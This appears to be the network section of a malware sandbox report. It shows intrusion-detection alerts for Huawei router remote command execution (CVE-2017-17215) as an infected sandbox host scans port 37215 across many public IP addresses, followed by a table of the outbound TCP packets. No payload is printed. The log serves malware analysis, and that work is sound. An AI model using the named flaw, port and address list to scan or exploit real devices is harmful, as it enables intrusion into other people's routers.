02/19/24-18:37:40.237027	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33706	37215	192.168.2.15	45.250.174.54
02/19/24-18:37:28.048421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54584	37215	192.168.2.15	31.136.68.54
02/19/24-18:37:28.087110	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35814	37215	192.168.2.15	31.200.57.26
02/19/24-18:36:22.312925	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49806	37215	192.168.2.15	94.121.96.158
02/19/24-18:36:28.360131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58458	37215	192.168.2.15	94.121.158.98
02/19/24-18:36:46.834168	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59980	37215	192.168.2.15	94.123.254.39
02/19/24-18:38:08.988118	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35200	37215	192.168.2.15	94.121.43.104
02/19/24-18:36:22.312726	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57108	37215	192.168.2.15	94.120.227.12
02/19/24-18:36:28.360955	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41634	37215	192.168.2.15	94.122.56.201
02/19/24-18:38:05.928805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32894	37215	192.168.2.15	156.254.105.192
02/19/24-18:38:01.392992	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57446	37215	192.168.2.15	94.122.227.158
02/19/24-18:38:05.925670	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41286	37215	192.168.2.15	156.254.93.52
02/19/24-18:36:28.359998	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48696	37215	192.168.2.15	94.121.27.46
02/19/24-18:36:44.376651	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34424	37215	192.168.2.15	31.136.169.88
02/19/24-18:37:15.416017	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35624	37215	192.168.2.15	31.200.29.69
02/19/24-18:37:28.096531	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38278	37215	192.168.2.15	31.200.5.115
02/19/24-18:37:57.960133	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51754	37215	192.168.2.15	222.185.234.99
02/19/24-18:36:28.361258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46076	37215	192.168.2.15	94.121.28.116
02/19/24-18:38:17.312817	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35330	37215	192.168.2.15	31.200.79.4
02/19/24-18:37:27.880770	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44344	37215	192.168.2.15	94.123.182.50
02/19/24-18:38:01.391035	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46798	37215	192.168.2.15	94.187.104.4
02/19/24-18:38:08.787946	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54942	37215	192.168.2.15	156.254.105.24
02/19/24-18:37:48.304695	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41738	37215	192.168.2.15	94.123.117.198
02/19/24-18:37:56.514447	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60770	37215	192.168.2.15	156.253.45.96
02/19/24-18:38:11.600695	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49204	37215	192.168.2.15	138.36.244.85
02/19/24-18:36:44.376456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60644	37215	192.168.2.15	31.136.128.73
02/19/24-18:38:16.357025	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55928	37215	192.168.2.15	45.115.237.84
02/19/24-18:36:22.313212	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48622	37215	192.168.2.15	94.121.33.253
02/19/24-18:36:44.376651	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34424	37215	192.168.2.15	31.136.169.88
02/19/24-18:37:48.992019	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55940	37215	192.168.2.15	45.33.250.87
02/19/24-18:36:28.360862	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34436	37215	192.168.2.15	94.123.50.125
02/19/24-18:37:57.960133	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51754	37215	192.168.2.15	222.185.234.99
02/19/24-18:38:20.942973	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55058	37215	192.168.2.15	94.121.207.199
02/19/24-18:36:44.376261	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38350	37215	192.168.2.15	31.136.221.11
02/19/24-18:37:41.312592	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43458	37215	192.168.2.15	45.33.248.121
02/19/24-18:36:39.594608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39466	37215	192.168.2.15	45.126.229.67
02/19/24-18:38:03.039195	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41792	37215	192.168.2.15	122.254.96.69
02/19/24-18:37:48.124470	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51252	37215	192.168.2.15	45.207.190.38
02/19/24-18:37:28.889302	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36942	37215	192.168.2.15	94.121.18.154
02/19/24-18:38:08.990990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50290	37215	192.168.2.15	94.123.154.146
02/19/24-18:37:15.415813	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52430	37215	192.168.2.15	31.200.117.125
02/19/24-18:38:01.123394	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37826	37215	192.168.2.15	94.123.13.122
02/19/24-18:36:39.746015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33634	37215	192.168.2.15	45.207.159.153
02/19/24-18:36:29.049080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53148	37215	192.168.2.15	45.195.120.18
02/19/24-18:36:23.331824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47188	37215	192.168.2.15	94.123.31.62
02/19/24-18:38:06.098654	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53036	37215	192.168.2.15	31.136.146.241
02/19/24-18:36:46.833777	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54680	37215	192.168.2.15	94.120.8.97
02/19/24-18:37:48.046854	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43996	37215	192.168.2.15	121.199.82.199
02/19/24-18:38:08.787946	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54942	37215	192.168.2.15	156.254.105.24
02/19/24-18:38:08.988805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37850	37215	192.168.2.15	94.122.224.59
02/19/24-18:36:28.361893	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46318	37215	192.168.2.15	94.123.100.85
02/19/24-18:36:23.332331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57150	37215	192.168.2.15	94.123.68.80
02/19/24-18:38:08.990679	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49446	37215	192.168.2.15	94.121.132.238
02/19/24-18:37:40.432250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46782	37215	192.168.2.15	45.207.143.94
02/19/24-18:37:32.164490	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43766	37215	192.168.2.15	94.122.207.204
02/19/24-18:37:01.125715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33434	37215	192.168.2.15	31.136.213.246
02/19/24-18:37:47.987549	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36768	37215	192.168.2.15	45.43.233.31
02/19/24-18:38:17.236251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54980	37215	192.168.2.15	31.136.236.4
02/19/24-18:38:17.236101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53366	37215	192.168.2.15	31.136.75.116
02/19/24-18:38:06.104058	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39678	37215	192.168.2.15	31.136.129.81
02/19/24-18:36:28.359811	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46302	37215	192.168.2.15	94.120.63.150
02/19/24-18:38:01.391333	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35326	37215	192.168.2.15	94.121.54.85
02/19/24-18:38:01.112819	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38754	37215	192.168.2.15	94.121.100.28
02/19/24-18:38:20.961741	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38620	37215	192.168.2.15	94.121.16.58
02/19/24-18:37:28.048421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54584	37215	192.168.2.15	31.136.68.54
02/19/24-18:38:20.957301	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52842	37215	192.168.2.15	94.122.197.189
02/19/24-18:37:31.122851	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51564	37215	192.168.2.15	94.122.58.107
02/19/24-18:37:27.874343	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36500	37215	192.168.2.15	94.122.225.214
02/19/24-18:36:22.313115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52530	37215	192.168.2.15	94.120.2.253
02/19/24-18:38:06.098757	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53256	37215	192.168.2.15	31.136.240.15
02/19/24-18:36:46.840016	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56116	37215	192.168.2.15	94.122.118.244
02/19/24-18:37:55.352225	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38898	37215	192.168.2.15	37.16.14.162
02/19/24-18:36:23.804631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41394	37215	192.168.2.15	197.56.197.185
02/19/24-18:38:20.943210	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51578	37215	192.168.2.15	94.123.7.103
02/19/24-18:36:46.835783	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45800	37215	192.168.2.15	94.123.48.151
02/19/24-18:38:20.945466	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40646	37215	192.168.2.15	94.123.136.14
02/19/24-18:36:28.360445	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39312	37215	192.168.2.15	94.122.225.65
02/19/24-18:37:59.788812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60034	37215	192.168.2.15	156.247.16.223
02/19/24-18:38:05.920743	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55276	37215	192.168.2.15	156.247.31.246
02/19/24-18:37:42.400625	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44424	37215	192.168.2.15	122.254.106.210
02/19/24-18:37:15.415350	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45638	37215	192.168.2.15	31.136.193.242
02/19/24-18:38:01.393604	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57802	37215	192.168.2.15	94.121.194.157
02/19/24-18:37:48.304959	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43724	37215	192.168.2.15	94.123.126.125
02/19/24-18:38:20.943546	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51258	37215	192.168.2.15	94.120.222.118
02/19/24-18:36:44.185700	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59756	37215	192.168.2.15	31.44.136.200
02/19/24-18:36:39.595552	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48468	37215	192.168.2.15	45.127.161.223
02/19/24-18:36:23.331634	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46744	37215	192.168.2.15	94.120.157.90
02/19/24-18:36:49.866279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52936	37215	192.168.2.15	156.241.12.155
02/19/24-18:36:23.332128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51680	37215	192.168.2.15	94.121.61.67
02/19/24-18:37:26.604554	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39034	37215	192.168.2.15	45.195.116.192
02/19/24-18:37:59.573796	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44222	37215	192.168.2.15	156.77.135.31
02/19/24-18:36:39.433148	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42770	37215	192.168.2.15	186.129.147.242
02/19/24-18:36:44.376420	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51738	37215	192.168.2.15	31.136.228.54
02/19/24-18:38:17.312698	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45180	37215	192.168.2.15	31.200.63.1
02/19/24-18:38:20.944064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50494	37215	192.168.2.15	94.120.240.143
02/19/24-18:38:01.392697	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54212	37215	192.168.2.15	94.187.105.98
02/19/24-18:36:23.332037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48858	37215	192.168.2.15	94.121.117.124
02/19/24-18:37:01.248254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48062	37215	192.168.2.15	122.114.15.2
02/19/24-18:38:06.098386	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47902	37215	192.168.2.15	31.136.144.36
02/19/24-18:38:20.957022	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40540	37215	192.168.2.15	94.122.225.103
02/19/24-18:38:03.199806	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45930	37215	192.168.2.15	37.72.255.211
02/19/24-18:36:23.332224	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37518	37215	192.168.2.15	94.121.188.41
02/19/24-18:37:24.711508	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49738	37215	192.168.2.15	45.207.178.194
02/19/24-18:36:23.331728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59322	37215	192.168.2.15	94.123.70.165
02/19/24-18:38:20.943888	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46086	37215	192.168.2.15	94.123.25.194
02/19/24-18:37:48.304431	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39586	37215	192.168.2.15	94.121.144.8
02/19/24-18:37:48.304598	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55334	37215	192.168.2.15	94.123.40.55
02/19/24-18:38:17.234988	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37350	37215	192.168.2.15	31.136.174.145
02/19/24-18:37:02.129826	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37658	37215	192.168.2.15	45.207.185.147
02/19/24-18:37:24.772454	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54812	37215	192.168.2.15	45.125.57.190
02/19/24-18:37:48.744971	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36046	37215	192.168.2.15	37.60.40.19
02/19/24-18:37:01.158350	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48274	37215	192.168.2.15	31.200.77.121
02/19/24-18:38:01.392101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34002	37215	192.168.2.15	94.121.221.50
02/19/24-18:37:59.789214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46088	37215	192.168.2.15	156.247.23.82
02/19/24-18:38:01.393297	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39772	37215	192.168.2.15	94.122.237.232
02/19/24-18:37:31.125741	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59494	37215	192.168.2.15	94.122.235.149
02/19/24-18:38:06.100059	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43680	37215	192.168.2.15	31.136.170.243
02/19/24-18:37:27.870862	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41830	37215	192.168.2.15	94.120.146.110
02/19/24-18:36:23.331538	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37130	37215	192.168.2.15	94.123.26.224
02/19/24-18:38:01.113191	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41146	37215	192.168.2.15	94.122.105.224
02/19/24-18:38:08.990550	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45790	37215	192.168.2.15	94.122.82.183
02/19/24-18:37:16.804937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49790	37215	192.168.2.15	181.177.251.236
02/19/24-18:37:48.992514	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47998	37215	192.168.2.15	45.33.241.60
02/19/24-18:36:46.830721	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51682	37215	192.168.2.15	94.187.117.159
02/19/24-18:37:15.415619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34642	37215	192.168.2.15	31.200.50.38
02/19/24-18:37:27.869894	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43056	37215	192.168.2.15	94.120.240.45
02/19/24-18:37:01.248474	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45206	37215	192.168.2.15	122.114.75.245
02/19/24-18:37:31.123053	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58414	37215	192.168.2.15	94.122.20.156
02/19/24-18:38:17.235414	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55114	37215	192.168.2.15	31.136.39.224
02/19/24-18:36:28.360286	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33368	37215	192.168.2.15	94.121.98.209
02/19/24-18:37:28.048667	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50784	37215	192.168.2.15	31.136.140.95
02/19/24-18:38:08.986889	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52596	37215	192.168.2.15	94.187.105.228
02/19/24-18:37:47.986684	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34686	37215	192.168.2.15	45.250.172.127
02/19/24-18:36:29.348967	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35198	37215	192.168.2.15	94.123.81.139
02/19/24-18:36:28.359592	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48816	37215	192.168.2.15	94.120.251.205
02/19/24-18:37:28.053650	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51328	37215	192.168.2.15	31.136.107.104
02/19/24-18:38:01.392848	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49790	37215	192.168.2.15	94.123.7.112
02/19/24-18:36:46.831953	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43922	37215	192.168.2.15	94.123.137.1
02/19/24-18:36:46.844374	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38746	37215	192.168.2.15	94.123.127.137
02/19/24-18:36:44.376150	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44802	37215	192.168.2.15	31.136.52.235
02/19/24-18:36:49.395679	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58316	37215	192.168.2.15	37.72.243.111
02/19/24-18:36:44.148023	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36922	37215	192.168.2.15	31.136.102.230
02/19/24-18:36:44.147451	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40088	37215	192.168.2.15	31.136.39.20
02/19/24-18:38:06.101195	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56286	37215	192.168.2.15	31.136.74.194
02/19/24-18:36:23.331425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46914	37215	192.168.2.15	94.121.115.61
02/19/24-18:36:39.595155	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38608	37215	192.168.2.15	45.33.249.26
02/19/24-18:37:27.872695	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42396	37215	192.168.2.15	94.121.55.98
02/19/24-18:38:01.392425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35322	37215	192.168.2.15	94.120.0.163
02/19/24-18:37:48.303693	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41982	37215	192.168.2.15	94.187.29.3
02/19/24-18:37:26.604892	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42600	37215	192.168.2.15	45.138.70.10
02/19/24-18:37:59.640505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38626	37215	192.168.2.15	156.235.98.203
02/19/24-18:38:00.738474	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46906	37215	192.168.2.15	156.235.96.175
02/19/24-18:37:15.415533	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48098	37215	192.168.2.15	31.200.86.147
02/19/24-18:36:28.734165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34174	37215	192.168.2.15	45.33.250.110
02/19/24-18:38:20.950278	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48386	37215	192.168.2.15	94.121.115.58
02/19/24-18:36:29.348712	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38408	37215	192.168.2.15	94.121.188.221
02/19/24-18:38:01.393139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44154	37215	192.168.2.15	94.120.25.14
02/19/24-18:36:44.399827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57198	37215	192.168.2.15	31.200.30.75
02/19/24-18:37:31.136147	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50608	37215	192.168.2.15	94.120.31.100

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2024 18:36:18.839901924 CET	18052	37215	192.168.2.15	138.178.255.50
Feb 19, 2024 18:36:18.839946985 CET	18052	37215	192.168.2.15	138.237.6.50
Feb 19, 2024 18:36:18.839975119 CET	18052	37215	192.168.2.15	138.119.29.49
Feb 19, 2024 18:36:18.839982986 CET	18052	37215	192.168.2.15	138.168.5.54
Feb 19, 2024 18:36:18.839998007 CET	18052	37215	192.168.2.15	138.50.224.225
Feb 19, 2024 18:36:18.840030909 CET	18052	37215	192.168.2.15	138.193.185.134
Feb 19, 2024 18:36:18.840045929 CET	18052	37215	192.168.2.15	138.3.156.106
Feb 19, 2024 18:36:18.840068102 CET	18052	37215	192.168.2.15	138.13.200.92
Feb 19, 2024 18:36:18.840080976 CET	18052	37215	192.168.2.15	138.247.33.25
Feb 19, 2024 18:36:18.840091944 CET	18052	37215	192.168.2.15	138.233.73.182
Feb 19, 2024 18:36:18.840106010 CET	18052	37215	192.168.2.15	138.192.82.124
Feb 19, 2024 18:36:18.840126991 CET	18052	37215	192.168.2.15	138.184.21.163
Feb 19, 2024 18:36:18.840148926 CET	18052	37215	192.168.2.15	138.52.170.195
Feb 19, 2024 18:36:18.840159893 CET	18052	37215	192.168.2.15	138.173.49.196
Feb 19, 2024 18:36:18.840178967 CET	18052	37215	192.168.2.15	138.16.216.192
Feb 19, 2024 18:36:18.840192080 CET	18052	37215	192.168.2.15	138.1.113.55
Feb 19, 2024 18:36:18.840209007 CET	18052	37215	192.168.2.15	138.202.217.74
Feb 19, 2024 18:36:18.840234041 CET	18052	37215	192.168.2.15	138.199.92.191
Feb 19, 2024 18:36:18.840249062 CET	18052	37215	192.168.2.15	138.192.12.97
Feb 19, 2024 18:36:18.840271950 CET	18052	37215	192.168.2.15	138.0.198.217
Feb 19, 2024 18:36:18.840282917 CET	18052	37215	192.168.2.15	138.252.158.47
Feb 19, 2024 18:36:18.840302944 CET	18052	37215	192.168.2.15	138.15.9.179
Feb 19, 2024 18:36:18.840318918 CET	18052	37215	192.168.2.15	138.51.21.218
Feb 19, 2024 18:36:18.840332985 CET	18052	37215	192.168.2.15	138.144.7.75
Feb 19, 2024 18:36:18.840358019 CET	18052	37215	192.168.2.15	138.253.216.184
Feb 19, 2024 18:36:18.840419054 CET	18052	37215	192.168.2.15	138.161.250.5
Feb 19, 2024 18:36:18.840420008 CET	18052	37215	192.168.2.15	138.110.120.136
Feb 19, 2024 18:36:18.840426922 CET	18052	37215	192.168.2.15	138.240.49.74
Feb 19, 2024 18:36:18.840447903 CET	18052	37215	192.168.2.15	138.12.39.98
Feb 19, 2024 18:36:18.840461969 CET	18052	37215	192.168.2.15	138.64.192.145
Feb 19, 2024 18:36:18.840471029 CET	18052	37215	192.168.2.15	138.123.9.209
Feb 19, 2024 18:36:18.840487957 CET	18052	37215	192.168.2.15	138.26.193.157
Feb 19, 2024 18:36:18.840503931 CET	18052	37215	192.168.2.15	138.216.63.14
Feb 19, 2024 18:36:18.840521097 CET	18052	37215	192.168.2.15	138.132.47.0
Feb 19, 2024 18:36:18.840538025 CET	18052	37215	192.168.2.15	138.35.164.250
Feb 19, 2024 18:36:18.840553045 CET	18052	37215	192.168.2.15	138.2.216.95
Feb 19, 2024 18:36:18.840565920 CET	18052	37215	192.168.2.15	138.111.234.196
